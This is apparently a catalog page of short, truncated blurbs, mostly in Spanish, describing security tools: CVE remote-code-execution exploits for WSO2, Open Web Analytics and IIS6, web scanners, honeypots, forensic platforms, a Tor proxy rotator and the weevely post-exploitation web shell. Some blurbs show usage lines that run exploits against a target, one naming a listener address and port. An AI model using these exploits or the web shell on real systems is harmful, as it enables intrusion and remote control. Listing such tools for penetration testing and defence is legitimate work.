CVE-2022-29464

WSO2 Carga Arbitraria de Archivos a Ejecución Remota de Comandos RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Ejemplo python3 exploit.py https://target.org:9443 shell.jsp...

heffalump

Heffalump Heffalump es un honeypot sin fin que da pesadillas a los bots maliciosos. Para usarlo, en tu robots.txt indica a los robots que no accedan a una URL determinada, que heffalump está haciendo proxy inverso. Cualquier agente web que acceda a la URL recibirá un flujo interminable de datos...

Grawler

Grawler - v1.0 Este proyectoya no se mantiene. Grawler es la mejor herramienta jamás creada, diseñada para automatizar los dorks de Google. Es una herramienta escrita en PHP que viene con una interfaz web que automatiza la tarea de usar dorks de Google, extrae los resultados y los almacena en un...

adapt

Resumen ADAPT es una herramienta que realiza Pruebas de Penetración de Aplicaciones Dinámicas Automatizadas para aplicaciones web. Está diseñada para aumentar la precisión, velocidad y confianza en los esfuerzos de pruebas de penetración. ADAPT prueba automáticamente múltiples vulnerabilidades...

CVE-2017-7269

CVE-2017-7269 iis6 exploit 2017...

cygor

Cygor Descripción General Cygor es un framework modular de descubrimiento de activos que reúne escaneo, análisis y enumeración de servicios en un solo flujo de trabajo. Reemplaza el mosaico de herramientas separadas por un proceso automatizado que gestiona el descubrimiento, el enriquecimiento y ...

goaccess

GoAccess ¿Qué es? GoAccess es un analizador de registros web y visor interactivo de código abierto y en tiempo real que se ejecuta en una terminal en sistemas nix o directamente en su navegador. Diseñado pensando en administradores de sistemas, ingenieros DevOps y profesionales de seguridad, ofre...

yeti

Plataforma Yeti Yeti tiene como objetivo cerrar la brecha entre los profesionales de CTI y DFIR al proporcionar una plataforma de inteligencia forense y un pipeline para equipos de DFIR. Nació de la frustración de tener que responder a la pregunta "¿dónde he visto este artefacto antes?" o "¿cómo...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Unauthenticated Remote Code Execution https://vulners.com/cve/CVE-2022-24637 Example python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

evtx

EVTX A cross-platform parser for the Windows XML EventLog format Features 🔒 Implemented using 100% safe rust - and works on all platforms supported by rust that have stdlib. ⚡ Fast - see benchmarks below. It's faster than any other implementation by orders of magnitude! 🚀 Multi-threaded. ✨ Suppor...

AIL-framework

AIL Framework Marco de trabajo de código abierto para la recolección, rastreo, procesamiento y análisis de información no estructurada. AIL framework es una plataforma de código abierto para recolectar, rastrear, procesar y analizar datos no estructurados procedentes de la web clara, Tor, I2P,...

dirsearch

dirsearch - 网页路径发现 一个高级的网页路径暴力破解器 dirsearch 由 @maurosoria 和 @shelld3v 积极开发。 加入 Discord 服务器 与团队交流。 快速开始 dirsearch 需要 Python 3.11 或更高版本。 git clone https://github.com/maurosoria/dirsearch.git --depth 1 cd dirsearch python3 dirsearch.py -u https://example.com -e php,html,js 你也可以直接通过 pip 从 GitHub 安装最新...

spider

Spider El rastreador y extractor web más rápido para Rust. spider.cloud · Guías · Documentación · Ejemplos · Discord Spider es un motor de rastreo que prioriza la concurrencia, escrito en Rust. Transmite las páginas en cuanto llegan, renderiza JavaScript solo cuando una página lo requiere y escal...

paskto

Paskto - Escáner Web Pasivo Paskto escaneará pasivamente la web utilizando el índice de Common Crawl, ya sea descargando los índices a petición o analizando datos de su sistema local. Las URL se procesan luego a través de Nikto y listas de URL conocidas para identificar contenido interesante...

altair

ALTAIR - Un Escáner Modular de Vulnerabilidades Web Copyleft por Simone Margaritelli [email protected] http://www.evilsocket.net - http://www.backbox.org Uso: altair opciones -u EJEMPLOS: altair --filter=lfi,rfi --url=http://www.somesite.com altair --filter=sqli --load-modules=sqlmap...

SecurityShepherd

OWASP Security Shepherd El Proyecto OWASP Security Shepherd es una plataforma de entrenamiento en seguridad de aplicaciones web y móviles. Security Shepherd ha sido diseñado para fomentar y mejorar la conciencia de seguridad entre un grupo demográfico de variados conjuntos de habilidades. El...

SourceLeakHacker

Descripción SourceLeakHacker es un escáner de directorios web multihilo. Instalación pip install -r requirements.txt Uso usage: SourceLeakHacker.py options optional arguments: -h, --help show this help message and exit --url URL url to scan, eg: 'http://127.0.0.1/' --urls URLS file contains urls ...

CVE-2022-21907

CVE-2022-21907 Descripción 1. Este repositorio detecta un sistema vulnerable a CVE-2022-21907 CVSS:3.1 9.8 y protege contra esta vulnerabilidad si se desea. Ofrezco 2 códigos de PowerShell en 1 línea. 2. Propongo scripts puros en Python, PowerShell, Ruby y módulos de Metasploit y Nmap para atacar...

pymultitor

PyMultiTor Python Multi Threaded Tor Proxy, Did you ever want to be at two different places at the same time? When I asked myself this question, I actually started developing this solution in my mind. While performing penetration tests there are often problems caused by security devices that bloc...

weevely3

Weevely - Shell web armamentizado Descripción Weevely es un shell web diseñado para fines de post-explotación que puede extenderse a través de la red en tiempo de ejecución. Suba el agente PHP de weevely a un servidor web objetivo para obtener acceso remoto a un shell en él. Tiene más de 30 módul...